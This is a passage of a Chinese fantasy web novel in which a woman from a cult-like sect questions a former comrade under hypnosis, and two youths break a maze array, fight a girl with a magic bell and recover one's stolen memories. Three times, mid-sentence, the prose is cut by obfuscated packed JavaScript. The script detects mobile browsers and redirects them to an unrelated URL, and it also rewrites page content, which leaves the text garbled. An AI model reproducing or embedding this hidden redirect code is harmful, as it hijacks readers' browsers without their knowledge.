她听说无源分裂的时候季非欢根本没出面阻止,无源剩下的老人们骂她狼心狗肺。但那时候曲浮玉也已经被人关起来控制住了,无源分裂的事也是她逃出来后才知道的。 她没有立场去指责季非欢。 季非欢轻声道:“群龙无首?重华呢?” 曲浮玉叹息:“失踪了,无源分裂之前首领不就失踪了嘛,你那时候还说……” 季非欢眉眼弯弯,追问道:“还说什么?” “……你还说,首领有提前跟你说过她的位置,让我们不用担心。” 这也是曲浮玉从旁人嘴里听来的,但此时提起她却恍然意识到不合理。 其他人可能不清楚,但在她的记忆里,季非欢从来都是亲昵地称呼首领为“重华”的。 她迟疑道:“那是你说的吗?你真的知道首领在哪儿吗?” “谁知道呢?”季非欢拖长了声音道。 “但我要是知道重华在哪里,也不会来找你了!” 意识到季非欢的言下之意,曲浮玉心里翻起惊涛骇浪,她手心微微出汗,面上装作镇定自若的样子。 只是再开口时,声音仍是掩饰不住地轻颤:“你什么意思?季非欢,那时候……首领失踪的时候,留在无源的人到底是不是你?!” “五年前,无源内乱的时候,你人又在哪里?!” “还有这五年,你到底去哪里了?!” “你找首领干什么?你是要……杀她吗?!” 曲浮玉的情绪越来越激动,一句句嘶哑悲愤的质问中夹杂着压抑的哭腔。 季非欢静静地凝视着她,抬手轻拍了一下宜苏的头。 宜苏转身疑惑地仰头看她,看见她的非欢姐姐对她温柔地笑着,指了指林子外面的方向,嘱咐道:“小宜苏,好像有人误入了迷阵,这阵法简单,恐怕困不住他们。” “你去把他们赶走好不好?姐姐一会儿过去接你~” 宜苏呆呆地点头,很快转身走向她手指的方向,消失在曲浮玉的视线里。 “你……什么时候学了这种蛊惑人心的媚术?” 曲浮玉震惊的目光落在季非欢眼底的薄红上,觉得眼前的季非欢变化大的让她感到陌生。 “难道你真的背叛无源了吗?!” 难道说出那句话的真的是季非欢,早在那个时候就在谋划分裂无源了吗? “这可不是什么媚术,”季非欢和曲浮玉目光交汇,只觉得这丫头的视线扎人的很。 她似笑非笑道:“浮玉啊,你还是这么悲观。” “不过这次勉强算你猜对了一半吧——” 季非欢话音落下,纱一般的红雾突然从她身后弥漫开来。 “不过猜对也没有奖励哦~” 曲浮玉没想到她聊着聊着突然发难,还没来得及反应就被地下钻出的红雾绞住四肢,动弹不得。 这哪里是红雾,分明是薄若蝉翼的红纱。 曲浮玉挣扎不得,气急道:“我想起来了,刚才那疯丫头使的是幻铃对吧?!” “幻铃铺路紅绡舞,原来如此!” 她眼睛都红了,声音几近泣血。 12. 幻铃 “北邙十字会的红绡美人,哈,多威风啊?!” 曲浮玉嘲弄地死死盯着季非欢,不放过她脸上的任何一丝表情。 “你果然是背叛了首领!背叛了无源!还转手把我们卖给了北邙十字会!” “乌重华真是瞎了眼了,把你当成亲姐妹对待!” “你和北邙的疯子一样,都是些灭绝人性的人渣、败类!” 季非欢淡定自若的由着她骂,眼角余光扫过宜苏离去的方向。待确认薄雾般的红纱完全笼罩了这一片区域后,她才娉娉婷婷地走到四肢被缚而不得不跪在地上的曲浮玉面前。 “别这么说,北邙十字会的前身不就是无源吗?”她伸手擒住曲浮玉的下巴,轻轻柔柔地吐出伤人的话。 “而且你别搞错啦~无源本来也不是什么正派组织,谁也不比谁高贵。” 曲浮玉别过头试图躲避,很快又被看似柔软的纤细手指死死钳住,不偏不倚直直地对上季非欢眼底诡谲的红光。 “狗屁前身!无源的人还没死绝呢?!就凭北邙那些渣滓也妄想……” 季非欢听着耳边曲浮玉的声音一点点低下去,眼里红光更盛。 静静等待了一会儿,季非欢轻轻喊了一声:“浮玉?” “……嗯” 看来成功了,季非欢满意地点点头。 她接着问道:“无源的首领,乌重华在哪里?” 曲浮玉:“……不知道。” 季非欢:“你这五年有见过重华吗?” 曲浮玉:“……没有。” 看来浮玉是真的不知道重华的下落。季非欢沉吟一会儿,问道: “你和北邙十字会有什么仇怨?” 曲浮玉:“……无源分裂、北邙的人抓了我,用梦引术、做实验……” 怪不得,季非欢暗道果然,就像她说的,北邙十字会和无源归根结底都不是什么正派组织,无源分裂之后荤素不忌顺势加入北邙的人也不是没有。 无源内乱也不是一次两次了,虽然这次格外严重,到了分裂的地步,但也不足以让曲浮玉如此仇视北邙的所有人。 实验啊……季非欢眯了眯眼,她最后对曲浮玉说道:“醒来之后,远离北邙十字会,也不要联系季非欢。” 红光闪烁,季非欢心口一痛,眼角渗出血来。 她连忙闭眼,无奈地想,现在就想给人下暗示还是太勉强了吗? 唉,噬心魔真是难对付。 这边也不让人安生,季非欢扭头望向不远处。就在刚刚,她感觉到布下的迷阵破了。 唔,说起来,阵盘好像还在宜苏身上? 果然是便宜没好货,这迷阵也简单过头了吧。 季非欢擦去眼角的血痕拍拍手站起来,抬手召回红纱,如今该问的也问完了,她也该离开了。 最后看一眼倒在地上还昏迷着的曲浮玉,她转身离去。 接下来的路,你我就各自保重吧。 另一边,容栖和白洛顶着放火烧山的风险试着烧一烧路边的树木。 好消息是,容栖复制粘贴的狗屁理论居然歪打正着地蒙对了。 只是他们所处的位置恰好是粘贴过来的假象,虽说避免了容栖一个不慎放火烧山,但也闹不出多大动静。 万一引不起布阵的人重视,他们还不知道要被困多久呢。 两人蹲在路边发愁,就差没一人来根烟了。 “万万没想到,咱俩就被这么个入门级别的迷阵给困住了。” 白洛随手揪下路边的一根狗尾巴草,忧愁道:“早知道还有这么一茬,当初爷爷让我学丹阵器符的时候就应该好歹听一耳朵的。” 这下好了,书到用时方恨少。 “嘘!”突然,容栖竖起手指示意白洛噤声,兴奋地冲他挤眉弄眼。 他压低了声音,指向方才他们死活烧不掉的像是有两个图层似的假树方向,“你听!” 白洛连忙捂住嘴,竖起耳朵仔细听。 果不其然,远处悠悠的传来零星的响动。 白洛屏息听了一会儿,悄声道:“好像是铃铛?” 容栖眉毛扬起,看来他们还是成功把人炸出来了! 他眼珠一转,觉得是时候好好使用白洛啦! 铃铛声越来越近,容不得他细想了! 容栖没说话,抬手往旁边草丛一点,而后气势汹汹地往白洛鼻子上一戳,两眼放光,果断一点头。 你,找个地方躲好! 手指一扭,大拇指往自己脸上一指,容栖自信地扬起一个大大的笑容,露出尖锐的小虎牙。 与此同时,他手里腾起一团渡火,蓝色的火焰映在他眼睛里,白洛清楚地看见其中的跃跃欲试。 我,去勾引敌人! 白洛:“……” 白洛早上跟容栖交流能力的时候就发现了,失忆后的容栖大概是恢复到了相信科学的无神论状态,对这种不太科学的力量体系非常感兴趣,一早上跟个好奇宝宝似得围着他问东问西。 但是! 你小子,就算再好奇,也不能上来就这么莽吧! 白洛怀疑地注视着他,试图以眼神表达自己的质疑。 容栖回以坚定的眼神,还伸手催促地推了他两把。 快快快,铃铛声近了,人快来了! 白洛无奈,最终还是顺着他的力道往草丛走。 好吧,就信你这一回! 两人这一番你来我往的眼神交流实际也不过几秒,宜苏走出树林时原地只剩下装模作样丢着渡火玩的容栖一个人。 “诶?”容栖‘十分惊讶’道:“小妹妹,这荒郊野岭的你怎么一个人啊?!” 草丛后面的白洛猫着身子憋笑,老容这夸张的捧读语气实在是十分有十二分的虚假。 小姑娘倒是有问必答,靠近容栖的同时乖巧回应,“宜苏不是一个人。” “还有姐姐,”她脚步未停,也愈加靠近白洛藏身的草丛,“但是你打扰到姐姐了。” 她有帮手,容栖眼神一凛,往宜苏身后的林子里看去。 但他并没有发现其他人的踪迹。 “那还真是抱歉啊~” 容栖嘴上假模假样地道歉,眼尖地瞥见宜苏抬手催动幻铃的动作,顿觉不妙,连忙手一挥,一团蓝幽幽的渡火‘不小心’扔向了宜苏的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195044|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀~妹妹快躲开!” 容栖有意控制下,火团速度不快,宜苏很轻易就躲开了,只是幻铃的催动不得不停下。 而且,她这一躲,霎时退到了白洛藏身的草丛旁。 下一秒,容栖的提醒和草叶摩擦的簌簌声一同响起。 “老白!拿下她手腕上的铃铛!” 白洛应声而出,刷的从草丛后窜出来,居高临下地擒下宜苏。 听到容栖的提醒,白洛立即明白过来,一手锁喉,一手想要去抓宜苏的手腕。 他相对宜苏而言格外高大的身躯想要制住她本应该很容易,没成想宜苏全然不顾脖子受制于人,硬是扭过身子想跟他面对面。 白洛还以为这丫头是没法了打算转头咬他一口或是给他一头槌呢,见她这不管不顾的架势,连忙撤下锁喉的手,脑袋也顺势往后一缩,转而仗着手长脚长牢牢扣住宜苏的手腕。 白洛力气很大,宜苏几乎只有脑袋能动,然而她只是执拗地死命扭头。 下一秒, “啊——啊——” 宜苏嘴里突然发出一声尖啸,那声音带着极强的穿透力,像箭一般直直地穿入人脑子里,连脑浆都给你搅得一团乱麻。 离得最近的白洛首当其冲。 “呃啊!!!” 疼痛带着锐利的尖刺钻入他的脑海里,每一根神经、每一寸骨头都被牵扯着不断颤抖。 几步之外的容栖也不好受。 他感觉自己的脑神经像是在被人拉扯起来弹棉花,完全不顾他死活的那种。 幻铃是宜苏的法器,但她的能力并不依赖于幻铃。 这下还有什么不明白的,容栖忍着头痛,勉力挪动脚步向两人靠近。 此时白洛已经疼出浑身的冷汗,双腿颤抖得往后退了。 容栖眯起眼,趁着白洛撒手后退,宜苏在反作用力下站不稳的的一瞬间,抓住机会扬手快速放出渡火。 没办法,这是他仅有的攻击手段。 往后错开一步的白洛恰好与渡火擦肩而过,蓝色的无温渡火砸在宜苏腰间的小布包上。 “哐当——” 罗盘样的木质圆盘掉在地上,沾染了零星的渡火,不到一秒钟就被烧得干干净净连灰也没剩下。周围的树木山林原先那种好像渲染不良的贴图一样的凝滞感突然一下褪去。 与此同时,刺耳的尖叫声停了下来。 原先只是一小团的渡火越烧越快,仿佛见风就长,眨眼间宜苏精致的小裙子就变成破洞乞丐装了。 刚把自己脑子救回来,抬头就看见这惊悚的画面,容栖一口气差点没上来。 “我靠老白控住她!我收火了!” 丫的再不收回来,杀人放火的他就是跳进黄河也洗不清了!到时候就不是牢底坐穿的问题了! 白洛气都还没捋顺就又听到容栖的大声召唤,一看这情况的确刻不容缓,只得捏着鼻子认命地又冲了上去。 好在容栖的渡火的确就像他说的那样收放自如,宜苏除了扑火的手掌和一开始被砸中的腰部之外没再被烧伤。 容栖长舒一口气,还好还好,胸前鲜红的红领巾保住了。 13. 曲浮玉 白洛也被渡火这惊人的破坏力惊到了,烧得又快又狠,连渣都不剩啊! 他用下巴点点手底下反常的安静如鸡的小丫头,示意容栖这个凶手关注一下受害者。 “老容,这三无小萝莉都被你吓到了?!” 他当然也就嘴上调侃一下,心里明白刚才那种情况下绝对是来不及想太多的,毕竟他一脑门的冷汗还没擦呢。 容栖闻言弯腰瞅了瞅看起来魂不守舍的宜苏,嗯,还是那样,呆呆的连个眼神都不给他。 “哎呀~”他瞄了瞄宜苏被火燎伤,看起来惨不忍睹的手掌,“咱俩也算是扯平了不是,你在我脑袋里弹棉花,我给你浅浅地拔俩火罐!” 白洛眼角一抽,敢情你俩打的还是回合制是吧?! 容栖得不到回应,顿觉无趣,直起身问白洛:“阵盘也已经毁了,这阵法也算是破了吧,接下来怎么办?” 尤其是这个莫名其妙的小丫头,打也打过了,接下来要怎么处理才好呢? 一边想容栖还不忘扯扯白洛胳膊肘,用眼神催促他把小丫头嘴给捂住。 刚才那种针扎一样的精神攻击他绝不想再体会一次了。 白洛勉为其难地配合他动动手,顺便谴责游手好闲的容栖。 白洛:“阵盘?什么阵盘?” 方才光顾着抵抗脑中扎人的疼痛,等他抬头就只看到小丫头着急扑火的身影了,实在没注意到什么阵盘不阵盘的。 容栖:“之前我就注意到了,装在她腰间的布包里,看那形状应该是阵盘没错了。” “渡火一并给烧了。” 白洛仔细感受四周的气场,确实如此,迷阵已经破了。 对于现下这种情况,相比于失忆的容栖,显然白洛的经验更丰富些。 他道:“非凡者之间打斗是很常见的,只要不是什么有赏的通缉犯,一般也就自己看着办,只要不闹得太过分官家不会插手。” 容栖:“那咋办?放了?” 主要是他们出来这一趟也没带个绳子什么的,连捂嘴都只能上手的那种。 左右是困不住人的,总不能一直带着小丫头吧。 白洛一点头,“放了吧,咱们不是还要去找人吗,没工夫跟她耗。” “不过以防万一,我建议先给人劈晕。” 可别前脚放了人,后脚就被她那刺耳的冲击波给震傻了。 容栖没意见,自觉上前替白洛捂嘴,一掌给人劈晕这种技能目前还是个江湖小白的容栖是干不来的。 专业的事儿还是得让专业的人来干。 宜苏就这么默不作声地看着这俩人光明正大讨论如何给她一个‘痛快’。 说真的,你俩都挺小白的。 “小心!” 突然,艳丽的红纱从白洛斜后方飞射而来,雾气一样的红纱轻薄,却带着破空而来的凛冽风声。 容栖毫不怀疑这看似轻柔的薄纱能无比顺滑地把他捅个对穿。 白洛反应很快,瞬间便扭身一避,警惕地转身死死盯着红纱飞射来的方向,手里不知何时出现一把小臂长的锋利短刃。 只是他这一扭身、一松手,躲过了后背的偷袭,也放开了对宜苏的桎梏。 “叮铃铃——” 宜苏此时倒是一点也不呆愣了,抓住机会全力催动幻铃,为其后从四面八方袭来的红纱打掩护。 容栖被铃声一震,面对接连不断的攻击不得不也从宜苏身边退开。 显然,那红纱的目标不是容栖二人,半点没有追逐他们的意图。 只见那红纱将宜苏一裹,刷地就把人扯了回去。 白洛反射性地提刀欲追,却被一旁的容栖伸手拦住。 “别追了,看起来她的同伙只是来救人的,没打算跟我们对上。” 反正他们本来也是要放人的,实在没必要追上去在打一场。 像是在迎合容栖的判断一样,对面半晌没动静。白洛看他一眼,“你不说我也知道,况且就是追上了我们也打不过。” “诶?”容栖奇道:“你认识?刚才那使红纱的人很有名?” “本来还没注意,”白洛翻手收起短刃,“但一看到来救人的红纱我就想起来了——” “所谓的‘幻铃铺路紅绡舞’就是说的这两个人吧!” 容栖看见他手往身后一背,再拿出来时手上的短刃就不见了。霎时十分好奇的抓着人手心左看右看。 他嘴上也没闲着,“幻铃、紅绡?谁啊?很有名?” 白洛抽回手,给他介绍,“幻音铺路,紅绡杀人。是有名,只是不是什么好名声罢了。” “非凡者世界五花八门的组织很多,好的坏的都有,她们就来自一个臭名昭著的邪道组织。” 此间事了,两人边聊边沿着狭窄山路继续前往苷荫塘。 “邪道组织?叫什么名字啊?” “北邙十字会,一个邪教败类扎堆的地方。” “唔啊~阔怕阔怕~” “……你丫给我正常点!” “嘿嘿~” …… 季非欢站在远处,看着两人离去的背影若有所思。 苷荫塘这个小地方,玄门的玄术师无故来此做什么? “非欢姐姐,”腿边的宜苏轻轻拉了拉季非欢的手,“宜苏的裙子,被烧坏了。” 小姑娘表情委屈,仰头看着季非欢,满目控诉。 季非欢抬手捏了一下宜苏软乎乎的脸颊,笑道:“没关系,姐姐带宜苏进城去买更多更好看的小裙子。” 她脸上挂着温柔笑意,却对小姑娘惨不忍睹的手掌视若不见,牵起宜苏的手,一步步往山路的另一头走。 “嗯,顺便去找老三问问北邙最近又在搞什么有意思的实验吗?” 从小山坡那边醒来的曲浮玉收拾好自己乱七八糟的情绪回到暂住的茅草屋,暗自发誓下次再让她撞上季非欢,她一定上去就打,绝不再废话半句! 曲浮玉的茅草屋离村口很近,从窗户往外看能清楚地看见苷荫塘来往务农的村民。 曲浮玉偶然间往窗外一撇,正要扭回来的头转到一半又猛地转回去。 曲浮玉:……? 她正盘算着要回宁川去找容栖,把记忆还给他,顺便再谈谈所谓‘双赢’的交易呢。 没想到一转头就看见抢先一步找上门来的容栖了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195045|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她扒着窗户,决定先暗中观察一下。 一共两个人,除了容栖,另一个曲浮玉没见过。她看见两人拦住一个过路的村民,像是在询问什么。 片刻后,二人似乎铩羽而归,不一会儿又随机拦下经过的另一人。 看起来像是在问路? 或者说,找人? 曲浮玉直觉容栖大概是在找她,虽然她一时半会没想通一个失忆的人是怎么这么精准的找到她的藏身之处的。 她自以为隐藏得很好,但是季非欢不也找上门了吗? 季非欢是北邙的人,这里已经不安全了,她需要尽快转移位置才行。 想到这里,曲浮玉不再犹豫。 容栖在又一次问人未果后忍不住跟白洛吐槽,“不是说老乡们都很淳朴热心的吗?我怎么只感受到了冷漠啊?” 一问就是一个不吱声,再问就是不知道。 唉,一整个拒绝沟通的态度啊。 白洛也有点挫败,但他还是觉得有合理的理由,“说不定他们是真不知道呢?曲浮玉也是非凡者吧,她要想藏的话,普通村民的确也帮不上我们。” 容栖叹气,道理他都懂,只是心累啊。 “好吧,再问……” “容栖——” 突然传来的呼声打断了容栖的话,他诧异转头,看见不远处的茅草屋里探出一个身影,灰扑扑的衣衫,鸡窝一样乱糟糟的头发,但听声音这人是个女生。 容栖迟疑一秒,疑惑道:“呃……曲浮玉?” 那潦草的人形生物冲他一点头,肯定了他的想法。 好吧,容栖拉着白洛朝茅草屋走去。 总之,双向奔赴的两伙人总算是顺利会师了。 这一路可真不容易,容栖捧着破旧的搪瓷杯灌了一大口凉爽的井水,暗自感慨,不过从形象上看曲浮玉可比他不容易多了。 当然,这话他明智的没有说出口。 “我正要去找你呢,没想到你倒是先找上门了,还挺厉害。” 曲浮玉等对面的俩人河马似得咕咚咕咚灌完水才开口说话,她问道:“不过你现在是失忆了吧?应该不记得我了才对?” 何止是不记得她,曲浮玉窃取容栖记忆的时候可半点没留手,他就是变成个幼儿园水平的小智障也一点也不奇怪。 所以曲浮玉才更好奇了。 容栖放下杯子,开口道:“的确不记得,只是以防万一,提前做了些安排。” 他摊手,一幅遗憾万分的表情,“没想到还真用上了。” 曲浮玉不太信,但她识趣的没往下问。容栖这个状态反而更省事。 “我知道你来干什么的,”她直截了当地说,“记忆我可以还给你,但我们的交易还得继续。” 听了她的话,白洛顿时蠢蠢欲动。他虽然不知道交易的具体内容,但先前就已经让容栖失忆了,鬼知道后面还会被她坑成什么样?! 容栖及时地一巴掌摁下他,冲曲浮玉无辜的眨眼,笑道:“哎呀,我是无所谓啦!不过曲姐姐你知道的,我可是一、点、也不记得了!” 不论交易的内容是什么,容栖还没恢复记忆的话,一切都毫无意义。 14. 记忆 “啧,失忆了还这么精!” 不过曲浮玉也没再多说什么,爽快地掏出记忆珠。 “我破掉珠子,把记忆塞回到你脑子里,别抵抗啊。” 容栖点点头,表示他准备好了。 曲浮玉不再废话,起身站到容栖身旁,手上用力捏碎了记忆珠。 霎时间,玉白的珠子碎成点点白芒,缠绕成一条蓝白的记忆光带顺着曲浮玉手指的牵引流入容栖的眉心。 容栖眉头一点点皱起来。 白洛紧张地盯着两人看,见状有点着急,但又不敢轻易打扰,生怕一不小心容栖就真成小智障了。 曲浮玉看他一眼,“别紧张,很快就好。” 事实上,容栖倒不觉得多疼,至少比不上宜苏的铃铛声。只是十七年的记忆灌入脑子,一时有些不适宜。 好在这个过程并没有持续多久。 曲浮玉的手刚放下,白洛就凑过来抓着容栖脑袋检查。 “感觉怎么样?想起来兄弟我了吗?别这次真变成小智障了吧?” 容栖还没回神就被他扼住了命运的后颈脖,只觉得被白洛晃得眼冒金星。 “住、住手啊!脑浆都要被你晃出来了!” 白洛应声停下,顿在他面前,凝重地伸出五个手指头。 他问道:“老容,你看这是几?” 容栖:……? 容栖:“……二” 白洛大惊失色,叫道:“完了完了,老容你傻了!” 容栖比他还要惊讶,“哎呀怎么会,我面前不就是……” 他笑容灿烂,语气恶劣,“有一个很二的狗白嘛!” 白洛冲他肩膀锤了一下,也忍不住笑,“看来是都想起来了?” “是啊,”容栖眯眼,“包括某人昨天趁人之危、趁虚而入、趁火打劫的行径,我全——都想起来了!” 他指的是昨天白洛趁他状态回归到新手村,又是扛他麻袋,又是趁机套话的。 嗯,计划有一点偏差,老白好像比他想的聪明一点? 不可能!他宁愿相信是他对自己失忆后的智商估计错误! “不好意思,打断一下,”旁边的曲浮玉开口道:“你也恢复记忆了,怎么样,交易继续?” 不论如何,她的确是急需找到被弄丢的玄机宝镜。 白洛看她一眼,扭头问容栖:“到底是什么交易啊?这人上次能偷你记忆,谁知道这次又有什么花招!老容你可小心着点!” 曲浮玉没说话,她当然不是什么好人,窃取记忆的时候也完全没考虑容栖的死活。 若不是知道容栖不好对付,她这会儿也不会如此好声好气地跟人商量了。 容栖捏着下巴,佯作心动的样子,“嗯,你说的有道理!” “但就像我之前说的,”他紧接着话锋一转,“这个交易是双赢的,我需要曲姐姐的帮助啊!” 容栖苦恼地晃了晃脑袋,“不如这样吧!” “曲姐姐你先跟我走一趟,事成之后我再告诉你你想知道的。” 他还很宽宏大度地拍拍胸口,一副你赚到了的样子,“至于你暗算我的事呢,我们就一笔勾销!” “……行,现在就启程吧。”曲浮玉早有准备,爽快答应道。 反倒是白洛有点不可置信,不是,老容这么好说话的吗?! 人家都暗算你了?!还得手了! 你就这么轻拿轻放啊?! 白洛狐疑的看着容栖,总觉得老容有什么其他的阴谋。 容栖当然察觉到了,但他无动于衷。他对于曲浮玉有些不太确定的猜测,有些事或许的确是非她不可。 当然跟老白是解释不清的就是啦! 虽然曲浮玉想要离开苷荫塘的心情非常迫切,但事实上想要立刻找到能回宁川的车还是不太现实。 只不过让他们两个男生外加一个形容略狼狈但生理性别为女的曲浮玉待在这破落的只有一间屋子的茅草屋里也实在不太好。 天知道他们喝水的时候甚至是坐在地上的! 难道还指望屋子里有宽敞又舒适的席梦思吗?! 俩少年转念一想,实在没什么理由委屈自己,何必没苦硬吃,自找苦头。 遂发挥钞能力,硬是火速从苷荫塘连夜回到宁川。 对此,茅草屋的常驻人士曲浮玉女士乐见其成。 尽管如此,三人回到宁川是也已经是深夜了,容栖把两人带回自己的小公寓,让白洛和自己挤一屋,客卧让给曲浮玉。 还是回归席梦思的怀抱比较爽啊! 某曲女士如此感叹道。 翌日,盛夏天里,难得多云。丛丛云层将烈日团团围住,敛了半数暑气。 容栖一觉睡到了日上三竿,醒来的时候房间里已经只剩他一人了。 难得睡到自然醒,容栖揉着眼睛坐起来,欣慰的想白洛这扰人清梦的混蛋总算是长了点眼力见儿了。 汲拉着拖鞋快速洗漱完后,容栖拉开了卧室的门。 白洛和曲浮玉在桌子面前里相对而坐,此时气氛有些诡异。 容栖走近一看,昨天还像个野人一样的曲浮玉大概好好清洗了一番,衣服虽然还是灰扑扑的,但脸上好歹露出原本白净的皮肤,头发也不再是个像几天没打理的鸡窝头了。 两人显然也是刚起床没多久,白洛面前摆着包子豆浆,但打眼一看就不是徐阿姨家的。 而曲浮玉面前出乎意料的摆了一盘饺子。 容栖:“……诶?你哪里来的饺子?” 听到他说话,二人齐齐转头看他。 容栖:“呃……我脸上有什么吗?” “没什么,”曲浮玉回答道,“冰箱里找到的速冻饺子。” 白洛插嘴道:“你到是挺自来熟。” 容栖坐下,顺手从白洛面前拿了个包子,“随便啦!我都忘了家里还有速冻饺子。” “所以,”曲浮玉夹起一个饺子,“你说要我帮你的,具体什么事?” 尽快解决容栖的事,她也好赶紧去找路葭易。 容栖喝了一口豆浆,悠悠道:“我想让你帮我看看一个人。” “一个记忆不正常的人。” 他笑道:“就用你的梦引术。” 都亲身感受过了,曲浮玉倒是不奇怪他能一口道破自己的梦引术。 “什么人?” “嗯这个嘛,”容栖没有直接回答,而是转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195046|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向白洛,拖长了音调侃道:“老——白——” “你要不要回避一下?” 白洛眼神似刀,“你说呢?!” 容栖打着哈哈,“这不是好多年的谜底,一下子剧透不是很无聊吗?” “滚啊!”白洛才不听他的歪理,眉毛几乎要竖道天上去,“老子劳心劳力地帮你,生怕你失忆之后被人给阴了,你就是这么对我的?!” “我可是花了不少大洋的!” 眼看着白洛就要一个激动上来揪他衣领,容栖见好就收,“哈哈开个玩笑开个玩笑,老白你别怎么认真啊!” 吃着饺子的曲浮玉抽空点评,“性格真恶劣啊容栖。” 白洛赞同点头,难得和曲浮玉统一战线。 “心黑嘴贱,以自我为中心的混蛋!” 他恶狠狠地补充,“阴险狡诈、心口不一!” “啊哈哈——”容栖免疫一切负面伤害,一脸受用的样子。 “谢谢夸奖!” “靠!没有在夸你!” 容栖的衣领最终还是没逃过白洛的魔爪。 一通胡闹过后,曲浮玉的饺子吃完了。 “年轻人,就是活泼啊!”她老气横秋地擦嘴感慨。 就是过分聒噪了些。 “咳咳、言归正传,”容栖轻扯两下皱巴巴的衣领,“既然接下来要一起行动,我先给你们互相介绍一下?” 无人回应。 好吧,容栖耸肩,自顾自的开口。 “这位不拘一格的女士呢,是曲浮玉,以前是无源的造梦大师。” 曲浮玉纠正道:“现在也是。” “哦哦,原来如此,”容栖表示自己懂了,接着又道:“至于这位看起来火气很大的兄台呢,如你所见,是我的好帮手,叫白洛。” 火气很大的白洛拳头捏的咔吧作响。 曲浮玉重复道:“宁川白家?” 白洛:“没错。” “怎么?”容栖探究的看向她,“曲姐姐跟白家有渊源?” 曲浮玉摇头,避开他的视线,“没,只是早有耳闻。” “唔,这样啊,看来名声的确很响嘛。”容栖粲然一笑,转移话题,“那接下来就让我来公布咱们的主线任务吧!” “首先,目标人物是我师父!”他慢悠悠地竖起一根手指往头上一戳,“我师父他老人家啊,大概是这里有点问题。” 白洛第一次听见容栖谈起他师父,忍不住侧目,紧接着就听到他这大逆不道的发言,眼角一抽。 当你这家伙的师父真是倒了八辈子霉了。 容栖听不到他的腹诽,接着道:“经过我多年的观察和旁敲侧击,可以断定是记忆方面的问题。” “虽然师父有在掩饰啦,不过他那偶尔忧郁茫然的眼神是瞒不过小爷我的法眼的!” 曲浮玉觉得容栖自顾自得意地样子有点碍眼,催促道:“所以呢,你要我去检查你师父的记忆?” 她皱眉,提醒容栖,“先说好,我的梦引术归根到底只是梦境方面的,关于记忆的部分是意外开发的,我很少用。” 要不是北邙十字会在她身上做的那些,她也不知道梦引术还有这种用法呢。 15. 封阳 容栖冲她点点头又摇摇头,“我不需要你治好我师父,你只要跟我去见他一面,帮我确认他记忆是否真的有残缺就行了。” 曲浮玉皱眉,如果只是查看一下的话当然不难,但是,“这样的话,很多人都可以,为什么一定要找我?” “我说过了,”容栖冲她一眨眼,“因为要用你的梦引术啊!” “我没听说过玄门有什么术法是可以删除人的记忆的,之前还苦恼过万一是什么不知名的神念者那我师父估计就真的没救了呢!” “不过,”容栖笑道:“见识过你的梦引术之后,我觉得有另一种可能也说不定呢?” “不可能!”曲浮玉反应很大地否定容栖的暗示,“这世上会梦引术的只有我一个人,跟何况记忆之术我也才习得短短几年而已!” “绝不可能对你师父的记忆动过手脚!” 她曲浮玉算不上好人,但向来敢作敢当,若真是她所为也绝不推脱。 “诶曲姐姐别激动,”容栖摆摆手示意她冷静,“你怎么确定这世上就你一人习了梦引术呢?这也不是曲姐姐你自创的功法吧?” “怎么可能……”曲浮玉想到了什么,扬起的声音一下子低下去,“不可能……应该、不可能的……” 她直视容栖,正色道:“你是怎么知道梦引术非我独创的?” 哪怕是在无源,她也从没泄露过自己的师承,容栖又是从哪里知道的消息。 “哎呀,怎么知道的?”容栖神秘莫测地笑笑,“你猜?” 曲浮玉只觉得他着实欠揍。 “别着急,”容栖道,“等你见了我师父再问也不迟。” 那个时候曲浮玉应该会有更多疑惑吧,容栖想道。 事实上,容栖手里的很多情报都是从巫杭投射到他手机上的那本观测漫画里提取出来的。 漫画内容时间跨度极大,只是记录范围有限,最多也就是在宁川范围内罢了。 十几年的时间,再加上巫杭没有余力来梳理,漫画的内容十分杂乱。从这其中提取出有用的信息,容栖也是废了不少力气。 在发现师父记忆有缺,而他本人对此执念深重之后,容栖几乎是一帧一帧地在漫画里找情报,眼睛都快看瞎了! 他容栖最尊师重道了好吧! 曲浮玉见问不出什么,揣着一肚子心事暂时偃旗息鼓。 容栖眼睛亮亮的,食指拇指一碰,啪地打了个响指。 他笑道:“好!拯救师父大人小分队正式成立!” “曲姐姐主攻!” “我来指挥!” “至于老白你嘛——”他扭头为难地看了白洛一会儿,“嗯主要起到一个吉祥物的作用吧!” 白洛一秒没耽搁,上来就是一个肘击,“闭嘴吧你!你丫还是失忆的时候比较可爱!” 恢复之后就不会好好说话了! “诶嘿是吗?”容栖娴熟地躲开,“谢谢夸奖~” “没在夸你!!!” 曲浮玉被他俩吵得眼睛疼,再也深沉不下去了。 “年轻人就是聒噪!” 